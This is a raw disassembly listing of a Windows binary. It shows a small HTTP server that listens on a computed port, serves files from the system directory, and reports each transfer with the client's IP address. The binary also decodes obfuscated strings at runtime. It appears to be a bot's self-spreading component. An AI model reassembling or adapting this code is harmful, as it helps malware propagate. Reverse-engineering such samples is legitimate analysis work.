; =============== S U B	R O U T	I N E =======================================



sub_402D3F	proc near		; CODE XREF: sub_4026EE+F5p
					; sub_4026EE:loc_402804p ...
		cmp	dword ptr [esi], 0
		jnz	short loc_402D49
		call	sub_40D342

loc_402D49:				; CODE XREF: sub_402D3F+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_402D58
		call	sub_40D342

loc_402D58:				; CODE XREF: sub_402D3F+12j
		mov	eax, [esi+4]
		add	eax, 8
		retn
sub_402D3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D5F	proc near		; CODE XREF: sub_4026EE+10Fp
					; sub_404614+148p ...
		cmp	dword ptr [esi], 0
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [esi+4]
		mov	[edi+4], eax
		jnz	short loc_402D73
		call	sub_40D342

loc_402D73:				; CODE XREF: sub_402D5F+Dj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_402D82
		call	sub_40D342

loc_402D82:				; CODE XREF: sub_402D5F+1Cj
		mov	eax, [esi+4]
		mov	eax, [eax]
		mov	[esi+4], eax
		mov	eax, edi
		retn
sub_402D5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D8D	proc near		; CODE XREF: sub_4026EE+E7p
					; sub_4083E8+2Fp ...
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402D97
		cmp	eax, [edi]
		jz	short loc_402D9C

loc_402D97:				; CODE XREF: sub_402D8D+4j
		call	sub_40D342

loc_402D9C:				; CODE XREF: sub_402D8D+8j
		mov	eax, [esi+4]
		xor	ecx, ecx
		cmp	eax, [edi+4]
		setnz	cl
		mov	al, cl
		retn
sub_402D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DAA	proc near		; CODE XREF: sub_4026EE+5Cp
					; .text:004086F5p ...

var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= dword	ptr -3CCh
var_3C8		= byte ptr -3C8h
var_308		= byte ptr -308h
var_307		= byte ptr -307h
var_208		= byte ptr -208h
var_207		= byte ptr -207h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 3E4h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+3E4h+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	[esp+3F0h+var_3E0], eax
		mov	eax, [ebp+arg_4]
		mov	ebx, 1FFh
		push	ebx
		mov	[esp+3F4h+var_3DC], eax
		xor	esi, esi
		lea	eax, [esp+3F4h+var_207]
		push	esi
		push	eax
		mov	[esp+3FCh+var_208], 0
		call	sub_40CBA0
		add	esp, 0Ch
		push	0FFh
		lea	eax, [esp+3F4h+var_307]
		push	esi
		push	eax
		mov	[esp+3FCh+var_308], 0
		call	sub_40CBA0
		add	esp, 0Ch
		push	10h
		pop	ecx
		push	[esp+3F0h+var_3E0]
		mov	[esp+3F4h+var_3D0], esi
		push	offset aS	; "%s"
		mov	[esp+3F8h+var_3CC], esi
		mov	[esp+3F8h+var_3D8], esi
		mov	[esp+3F8h+var_3D4], esi
		lea	eax, [esp+3F8h+var_208]
		push	ebx
		mov	esi, offset byte_420B20
		lea	edi, [esp+3FCh+var_3C8]
		push	eax
		rep movsd
		call	sub_40CAE4
		lea	eax, [esp+400h+var_208]
		push	eax
		call	sub_40C9B0
		add	esp, 14h
		lea	ecx, [esp+3F0h+var_3D8]
		push	ecx
		push	eax
		lea	ecx, [esp+3F8h+var_208]
		call	sub_407A60
		push	200h
		lea	eax, [esp+3FCh+var_208]
		push	0
		push	eax
		call	sub_40CBA0
		lea	eax, [esp+404h+var_308]
		add	esp, 14h
		push	eax
		lea	ebx, [esp+3F4h+var_3D8]
		call	sub_407B60
		mov	esi, [esp+3F4h+var_3DC]
		pop	ecx
		push	0C0h
		xor	ebx, ebx
		push	ebx
		push	esi
		call	sub_40CBA0
		add	esp, 0Ch
		xor	edi, edi

loc_402EAB:				; CODE XREF: sub_402DAA+12Cj
		movzx	eax, [esp+edi+3F0h+var_308]
		push	eax
		push	esi
		push	offset aSX	; "%s%X"
		push	0BFh
		push	esi
		call	sub_40CAE4
		add	esp, 14h
		push	esi
		call	sub_40C9B0
		inc	edi
		cmp	edi, 40h
		pop	ecx
		mov	[eax+esi], bl
		jl	short loc_402EAB
		push	100h
		lea	eax, [esp+3F4h+var_308]
		push	ebx
		push	eax
		call	sub_40CBA0
		mov	ecx, [esp+3FCh+var_4]
		add	esp, 0Ch
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn
sub_402DAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_402F05	proc near		; CODE XREF: sub_404954+42Dp
					; .text:0040A2FCp
		push	4
		mov	eax, offset loc_41DBF4
		call	sub_40EAAD
		push	8
		call	loc_40D430
		mov	esi, eax
		pop	ecx
		mov	[ebp-10h], esi
		and	dword ptr [ebp-4], 0
		test	esi, esi
		jz	short loc_402F39
		push	offset sub_402F48
		xor	ecx, ecx
		mov	edi, offset byte_4202BD
		call	sub_408355
		jmp	short loc_402F3B
; ---------------------------------------------------------------------------

loc_402F39:				; CODE XREF: sub_402F05+1Fj
		xor	eax, eax

loc_402F3B:				; CODE XREF: sub_402F05+32j
		cmp	dword ptr [eax+4], 0
		setnz	al
		call	sub_40EB4C
		retn
sub_402F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F48	proc near		; DATA XREF: sub_402F05+21o

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		mov	eax, dword_426704
		push	ebx
		mov	ebx, ds:off_41E204
		push	esi
		push	edi
		mov	edi, 7F00h
		push	edi
		xor	esi, esi
		push	esi
		mov	[ebp+var_3C], eax
		mov	[ebp+var_28], offset dword_4254AC
		mov	[ebp+var_48], offset sub_40301F
		mov	[ebp+var_4C], 8
		mov	[ebp+var_50], 30h
		call	ebx ; sub_43C067
		push	edi
		push	esi
		mov	[ebp+var_38], eax
		call	ebx ; sub_43C067
		push	edi
		push	esi
		mov	[ebp+var_24], eax
		call	ds:off_41E214
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_50]
		push	eax
		mov	[ebp+var_2C], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_30], 1
		call	ds:off_41E200
		test	ax, ax
		jz	short loc_403016
		push	esi
		push	dword_426704
		mov	eax, 80000000h
		push	esi
		push	esi
		push	esi
		push	esi
		push	eax
		push	eax
		push	0CF0000h
		push	offset asc_4202C0 ; " "
		push	offset dword_4254AC
		push	esi
		call	ds:off_41E218
		push	eax
		call	sub_40306A
		test	eax, eax
		pop	ecx
		jz	short loc_403016
		mov	edi, ds:off_41E1FC
		jmp	short loc_403009
; ---------------------------------------------------------------------------

loc_402FF5:				; CODE XREF: sub_402F48+CCj
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:off_41E208
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:off_41E210

loc_403009:				; CODE XREF: sub_402F48+ABj
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_20]
		push	eax
		call	edi ; sub_43BCC7
		test	eax, eax
		jnz	short loc_402FF5

loc_403016:				; CODE XREF: sub_402F48+70j
					; sub_402F48+A3j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_402F48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40301F	proc near		; DATA XREF: sub_402F48+27o

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 401h
		jz	short loc_403032
		pop	ebp
		jmp	ds:off_41E20C
; ---------------------------------------------------------------------------

loc_403032:				; CODE XREF: sub_40301F+Aj
		mov	eax, [ebp+arg_C]
		dec	eax
		jz	short loc_40305B
		sub	eax, 7
		jnz	short loc_403064
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset word_4266F4
		push	dword_42680C
		mov	[ebp+arg_4], 10h
		call	ds:dword_41E27C	; accept
		jmp	short loc_403064
; ---------------------------------------------------------------------------

loc_40305B:				; CODE XREF: sub_40301F+17j
		push	[ebp+arg_8]
		call	sub_403186
		pop	ecx

loc_403064:				; CODE XREF: sub_40301F+1Cj
					; sub_40301F+3Aj
		xor	eax, eax
		pop	ebp
		retn	10h
sub_40301F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40306A	proc near		; CODE XREF: sub_402F48+9Bp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, 104h
		push	edi
		xor	ebp, ebp
		push	ebp
		mov	ebx, offset dword_426708
		push	ebx
		call	sub_40CBA0
		push	edi
		push	ebp
		mov	esi, offset dword_426918
		push	esi
		call	sub_40CBA0
		push	edi
		push	ebp
		mov	ebp, offset byte_426810
		push	ebp
		call	sub_40CBA0
		add	esp, 24h
		push	edi
		push	ebx
		call	ds:dword_41E05C	; GetSystemDirectoryA
		push	edi
		mov	ebx, offset byte_425081
		call	sub_401AD1
		push	esi
		push	offset dword_426708
		push	offset aSS_2	; "%s\\%s"
		push	103h
		push	ebp
		call	sub_40CAE4
		push	ebp
		call	sub_40C9B0
		add	esp, 1Ch
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		mov	byte_426810[eax], bl
		call	ds:dword_41E23C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	dword_42680C, eax
		jnz	short loc_4030FC
		push	eax

loc_4030EF:				; CODE XREF: sub_40306A+E0j
		call	ds:dword_41E240	; closesocket
		xor	eax, eax
		jmp	loc_403181
; ---------------------------------------------------------------------------

loc_4030FC:				; CODE XREF: sub_40306A+82j
		push	3E8h
		mov	eax, 0FFDCh
		call	sub_402CC7
		pop	ecx
		push	eax
		mov	dword_4265F4, eax
		mov	word_4266F4, 2
		call	ds:dword_41E234	; htons
		push	10h
		push	offset word_4266F4
		push	dword_42680C
		mov	word_4266F6, ax
		mov	dword_4266F8, ebx
		call	ds:dword_41E288	; bind
		test	eax, eax
		jz	short loc_40314C

loc_403144:				; CODE XREF: sub_40306A+FBj
					; sub_40306A+10Dj
		push	dword_42680C
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------

loc_40314C:				; CODE XREF: sub_40306A+D8j
		push	9
		push	401h
		push	[esp+18h+arg_0]
		push	dword_42680C
		call	ds:dword_41E28C	; WSAAsyncSelect
		test	eax, eax
		jnz	short loc_403144
		push	4
		push	dword_42680C
		call	ds:dword_41E284	; listen
		test	eax, eax
		jnz	short loc_403144
		mov	byte_426914, 1
		inc	eax

loc_403181:				; CODE XREF: sub_40306A+8Dj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40306A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0CA8h


sub_403186	proc near		; CODE XREF: sub_40301F+3Fp

var_D28		= byte ptr -0D28h
var_D24		= dword	ptr -0D24h
var_D20		= dword	ptr -0D20h
var_D1C		= dword	ptr -0D1Ch
var_D18		= byte ptr -0D18h
var_D14		= byte ptr -0D14h
var_D13		= byte ptr -0D13h
var_D12		= byte ptr -0D12h
var_D11		= byte ptr -0D11h
var_D08		= byte ptr -0D08h
var_D07		= byte ptr -0D07h
var_908		= byte ptr -908h
var_907		= byte ptr -907h
var_508		= byte ptr -508h
var_507		= byte ptr -507h
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-0CA8h]
		sub	esp, 0D28h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+0CA8h+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, 3FFh
		xor	ebx, ebx
		push	edi
		lea	eax, [ebp+0CA8h+var_907]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_908], bl
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+0CA8h+var_507]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_508], bl
		call	sub_40CBA0
		push	103h
		lea	eax, [ebp+0CA8h+var_107]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_108], bl
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+0CA8h+var_D07]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_D08], bl
		call	sub_40CBA0
		add	esp, 30h
		push	ebx
		push	400h
		lea	eax, [ebp+0CA8h+var_D08]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E238	; recv
		mov	[ebp+eax+0CA8h+var_D08], bl
		lea	eax, [ebp+0CA8h+var_D24]
		push	eax
		lea	eax, [ebp+0CA8h+var_D28]
		push	eax
		lea	eax, [ebp+0CA8h+var_D1C]
		push	eax
		lea	eax, [ebp+0CA8h+var_D20]
		push	eax
		lea	esi, [ebp+0CA8h+var_D08]
		call	sub_403655
		add	esp, 10h
		test	eax, eax
		jz	loc_40363D
		push	offset aGet	; "GET"
		push	[ebp+0CA8h+var_D20]
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4032F1
		push	offset aQue?	; "Que?"
		lea	eax, [ebp+0CA8h+var_908]
		push	edi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+0CA8h+var_908]
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax+0CA8h+var_908], bl
		lea	eax, [ebp+0CA8h+var_908]
		push	eax
		call	sub_40C9B0
		push	eax
		push	offset aHttp1_1501NotI ; "HTTP/1.1 501 Not Implemented\r\nContent-L"...
		lea	eax, [ebp+0CA8h+var_508]
		push	edi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		call	sub_40C9B0
		add	esp, 28h
		mov	[ebp+eax+0CA8h+var_508], bl
		lea	eax, [ebp+0CA8h+var_508]
		push	ebx
		push	eax
		call	sub_40C9B0
		mov	esi, ds:dword_41E244
		pop	ecx
		push	eax
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	esi	; send
		lea	eax, [ebp+0CA8h+var_908]
		push	ebx
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	eax
		lea	eax, [ebp+0CA8h+var_908]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	esi	; send
		jmp	loc_403631
; ---------------------------------------------------------------------------

loc_4032F1:				; CODE XREF: sub_403186+C4j
		mov	edi, [ebp+0CA8h+var_D1C]
		push	edi
		call	sub_4036E9
		test	eax, eax
		pop	ecx
		jz	loc_40363D
		push	edi
		call	sub_40C9B0
		cmp	eax, 1
		pop	ecx
		jbe	loc_4033FB
		inc	edi
		push	2Fh
		push	edi
		call	sub_40DEF0
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	loc_4033B2
		mov	[esi], bl
		inc	esi
		jmp	short loc_403330
; ---------------------------------------------------------------------------

loc_40332D:				; CODE XREF: sub_403186+1B6j
		mov	byte ptr [eax],	5Ch

loc_403330:				; CODE XREF: sub_403186+1A5j
		push	2Fh
		push	esi
		call	sub_40DEF0
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40332D
		push	ebx
		push	esi
		call	sub_40DEF0
		cmp	[esi], bl
		pop	ecx
		pop	ecx
		jz	short loc_40337F
		cmp	byte ptr [eax-1], 5Ch
		jz	short loc_40337F
		push	esi
		push	edi
		push	offset dword_426708
		push	offset aSSS_1	; "%s\\%s\\%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	sub_40C9B0
		add	esp, 1Ch
		jmp	short loc_4033DD
; ---------------------------------------------------------------------------

loc_40337F:				; CODE XREF: sub_403186+1C3j
					; sub_403186+1C9j
		push	offset dword_426918
		push	esi
		push	edi
		push	offset dword_426708
		push	offset aSSSS	; "%s\\%s\\%s%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	sub_40C9B0
		add	esp, 20h
		jmp	short loc_4033DD
; ---------------------------------------------------------------------------

loc_4033B2:				; CODE XREF: sub_403186+19Cj
		push	edi
		push	offset dword_426708
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	sub_40C9B0
		add	esp, 18h

loc_4033DD:				; CODE XREF: sub_403186+1F7j
					; sub_403186+22Aj
		mov	[ebp+eax+0CA8h+var_108], bl
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		push	offset byte_426810
		call	sub_40B187
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40346D

loc_4033FB:				; CODE XREF: sub_403186+187j
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		push	80000000h
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	ds:dword_41E06C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+0CA8h+var_D1C], eax
		jz	short loc_40346D
		push	ebx
		push	eax
		call	ds:off_41E070
		mov	esi, eax
		push	esi
		call	sub_40DC83
		push	esi
		mov	edi, eax
		push	ebx
		push	edi
		call	sub_40CBA0
		add	esp, 10h
		jmp	short loc_40344B
; ---------------------------------------------------------------------------

loc_40343B:				; CODE XREF: sub_403186+2E3j
		cmp	[ebp+0CA8h+var_D20], ebx
		jnz	short loc_4034AD
		push	esi
		push	ebx
		push	edi
		call	sub_40CBA0
		add	esp, 0Ch

loc_40344B:				; CODE XREF: sub_403186+2B3j
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+0CA8h+var_D1C]
		call	ds:off_41E074
		push	ebx
		lea	eax, [ebp+0CA8h+var_D20]
		push	eax
		push	esi
		push	edi
		push	[ebp+0CA8h+var_D1C]
		call	ds:off_41E078
		test	eax, eax
		jnz	short loc_40343B
		jmp	short loc_4034AD
; ---------------------------------------------------------------------------

loc_40346D:				; CODE XREF: sub_403186+273j
					; sub_403186+294j
		mov	esi, 200h
		push	esi
		call	sub_40DC83
		push	esi
		mov	edi, eax
		push	ebx
		push	edi
		call	sub_40CBA0
		add	esp, 10h
		push	offset aQue?	; "Que?"
		push	edi
		call	sub_40CA3B
		pop	ecx
		dec	eax
		push	eax
		push	edi
		call	sub_40CAE4
		push	edi
		call	sub_40C9B0
		push	edi
		mov	[eax+edi], bl
		call	sub_40C9B0
		mov	esi, eax
		add	esp, 14h

loc_4034AD:				; CODE XREF: sub_403186+2B8j
					; sub_403186+2E5j
		push	400h
		lea	eax, [ebp+0CA8h+var_508]
		push	ebx
		push	eax
		call	sub_40CBA0
		push	esi
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 ok\r\nContent-Length: %d\r\nCo"...
		lea	eax, [ebp+0CA8h+var_508]
		push	3FFh
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		call	sub_40C9B0
		add	esp, 20h
		mov	[ebp+eax+0CA8h+var_508], bl
		lea	eax, [ebp+0CA8h+var_508]
		push	ebx
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	eax
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E244	; send
		test	eax, eax
		jz	loc_40362A
		push	ebx
		push	esi
		push	edi
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E244	; send
		test	eax, eax
		jz	loc_40362A
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		push	offset byte_426810
		call	sub_40B187
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40362A
		inc	dword_4339A0
		push	100h
		call	sub_40AF26
		mov	esi, eax
		push	esi
		call	sub_40CA3B
		push	eax
		mov	ebx, offset asc_424FD8 ; "²²ÉÇÉ"
		call	sub_401AD1
		push	10h
		pop	eax
		push	eax
		mov	[ebp+0CA8h+var_D1C], eax
		xor	ebx, ebx
		lea	eax, [ebp+0CA8h+var_D18]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 18h
		lea	eax, [ebp+0CA8h+var_D1C]
		push	eax
		lea	eax, [ebp+0CA8h+var_D18]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E24C	; getpeername
		movzx	eax, [ebp+0CA8h+var_D11]
		movzx	ecx, [ebp+0CA8h+var_D12]
		shl	eax, 8
		add	eax, ecx
		movzx	ecx, [ebp+0CA8h+var_D13]
		shl	eax, 8
		add	eax, ecx
		movzx	ecx, [ebp+0CA8h+var_D14]
		shl	eax, 8
		add	eax, ecx
		push	2
		mov	[ebp+0CA8h+var_D24], eax
		push	4
		lea	eax, [ebp+0CA8h+var_D24]
		push	eax
		call	ds:dword_41E248	; gethostbyaddr
		cmp	eax, ebx
		push	dword_4339A0
		jnz	short loc_4035F9
		movzx	eax, [ebp+0CA8h+var_D11]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D12]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D13]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D14]
		push	eax
		push	offset aHttpTransferD_ ; "HTTP:	Transfer: %d.%d.%d.%d (N/A). %d	T"...
		push	esi
		push	ebx
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 24h
		jmp	short loc_403623
; ---------------------------------------------------------------------------

loc_4035F9:				; CODE XREF: sub_403186+447j
		push	dword ptr [eax]
		movzx	eax, [ebp+0CA8h+var_D11]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D12]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D13]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D14]
		push	eax
		push	offset aHttpTransfer_0 ; "HTTP:	Transfer: %d.%d.%d.%d (%s). %d To"...
		push	esi
		push	ebx
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 28h

loc_403623:				; CODE XREF: sub_403186+471j
		push	esi
		call	sub_40CC1A
		pop	ecx

loc_40362A:				; CODE XREF: sub_403186+38Aj
					; sub_403186+3A1j ...
		push	edi
		call	sub_40DBA6
		pop	ecx

loc_403631:				; CODE XREF: sub_403186+166j
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E240	; closesocket

loc_40363D:				; CODE XREF: sub_403186+ADj
					; sub_403186+177j
		mov	ecx, [ebp+0CA8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 0CA8h
		leave
		retn
sub_403186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403655	proc near		; CODE XREF: sub_403186+A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	[eax], esi
		mov	eax, [ebp+arg_4]
		mov	[eax], esi
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	[eax], esi
		mov	eax, [ebp+arg_C]
		push	offset asc_4203D4 ; "\r\n"
		push	esi
		mov	[eax], esi
		call	sub_40DD50
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	short loc_4036E6
		push	edi
		mov	edi, offset asc_4202C0 ; " "
		push	edi
		push	esi
		mov	byte ptr [ebx],	0
		call	sub_40DFAE
		mov	ecx, [ebp+arg_0]
		push	edi
		push	0
		mov	[ecx], eax
		call	sub_40DFAE
		mov	ecx, [ebp+arg_4]
		add	esp, 10h
		test	eax, eax
		mov	[ecx], eax
		jz	short loc_4036DA
		push	edi
		push	0
		call	sub_40DFAE
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jz	short loc_4036DA
		mov	eax, [ebp+arg_C]
		add	ebx, 2
		cmp	byte ptr [ebx],	0
		mov	[eax], ebx
		jz	short loc_4036E2
		push	offset asc_4203D8 ; "\r\n\r\n"
		push	ebx
		call	sub_40DD50
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4036DE

loc_4036DA:				; CODE XREF: sub_403655+52j
					; sub_403655+65j
		xor	eax, eax
		jmp	short loc_4036E5
; ---------------------------------------------------------------------------

loc_4036DE:				; CODE XREF: sub_403655+83j
		mov	byte ptr [eax+2], 0

loc_4036E2:				; CODE XREF: sub_403655+72j
		xor	eax, eax
		inc	eax

loc_4036E5:				; CODE XREF: sub_403655+87j
		pop	edi

loc_4036E6:				; CODE XREF: sub_403655+29j
		pop	ebx
		pop	ebp
		retn
sub_403655	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036E9	proc near		; CODE XREF: sub_403186+16Fp

var_8		= byte ptr -8
var_4		= byte ptr -4
var_2		= byte ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_40C9B0
		inc	eax
		push	eax
		call	sub_40AF26
		mov	esi, eax
		push	esi
		call	sub_40CA3B
		push	eax
		push	0
		push	esi
		call	sub_40CBA0
		push	25h
		push	ebx
		call	sub_40DEF0
		add	esp, 20h
		jmp	short loc_403772
; ---------------------------------------------------------------------------

loc_40371F:				; CODE XREF: sub_4036E9+8Dj
		push	ebx
		push	esi
		mov	byte ptr [edi],	0
		call	sub_40DDF0
		push	2
		inc	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_40D4A0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	offset asc_4203E0 ; "%x"
		push	eax
		mov	[ebp+var_2], 0
		call	sub_40DB87
		add	esp, 20h
		test	eax, eax
		jz	short loc_403799
		push	esi
		call	sub_40C9B0
		mov	cl, [ebp+var_8]
		lea	ebx, [edi+2]
		push	25h
		push	ebx
		mov	[eax+esi], cl
		mov	byte ptr [eax+esi+1], 0
		call	sub_40DEF0
		add	esp, 0Ch

loc_403772:				; CODE XREF: sub_4036E9+34j
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40371F
		push	ebx
		push	esi
		call	sub_40DDF0
		push	4
		push	edi
		push	[ebp+arg_0]
		call	sub_40CBA0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DDE0
		add	esp, 1Ch
		inc	edi
		jmp	short loc_40379B
; ---------------------------------------------------------------------------

loc_403799:				; CODE XREF: sub_4036E9+68j
		xor	edi, edi

loc_40379B:				; CODE XREF: sub_4036E9+AEj
		push	esi
		call	sub_40CC1A
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4037A9	proc near		; DATA XREF: sub_404954+3E6o
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	esi
		push	edi
		call	sub_402AF2
		mov	edi, dword_4265F8
		mov	esi, dword_4265FC

loc_4037C2:				; CODE XREF: sub_4037A9+5Aj
		call	sub_402AF2
		cmp	dword_4265FC, esi
		jl	short loc_4037EC
		jg	short loc_4037D9
		cmp	dword_4265F8, edi
		jbe	short loc_4037EC

loc_4037D9:				; CODE XREF: sub_4037A9+26j
		cmp	byte_426A20, 0
		jz	short loc_4037EC
		push	offset dword_426A1C
		call	sub_403805

loc_4037EC:				; CODE XREF: sub_4037A9+24j
					; sub_4037A9+2Ej ...
		mov	edi, dword_4265F8
		mov	esi, dword_4265FC
		push	0C350h
		call	ds:off_41E0FC
		jmp	short loc_4037C2
sub_4037A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403805	proc near		; CODE XREF: sub_4037A9+3Ep

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	[ebp+var_C], 0
		lea	edi, [ebp+var_B]
		push	5
		lea	esi, [ebp+var_C]
		mov	ebx, offset asc_425450 ; "ߨÒÚ"
		stosd
		call	sub_401AD1
		mov	ebx, [ebp+var_10]
		pop	ecx
		add	ebx, 5
		call	sub_40479C
		push	ebx
		mov	eax, esi
		push	eax
		push	offset aSS	; "%s %s\r\n"
		mov	edi, offset dword_426A1C
		call	sub_403E22
		add	esp, 0Ch
		push	5
		mov	eax, esi
		push	0
		push	eax
		call	sub_40CBA0
		mov	ecx, [ebp+var_4]
		add	esp, 0Ch
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
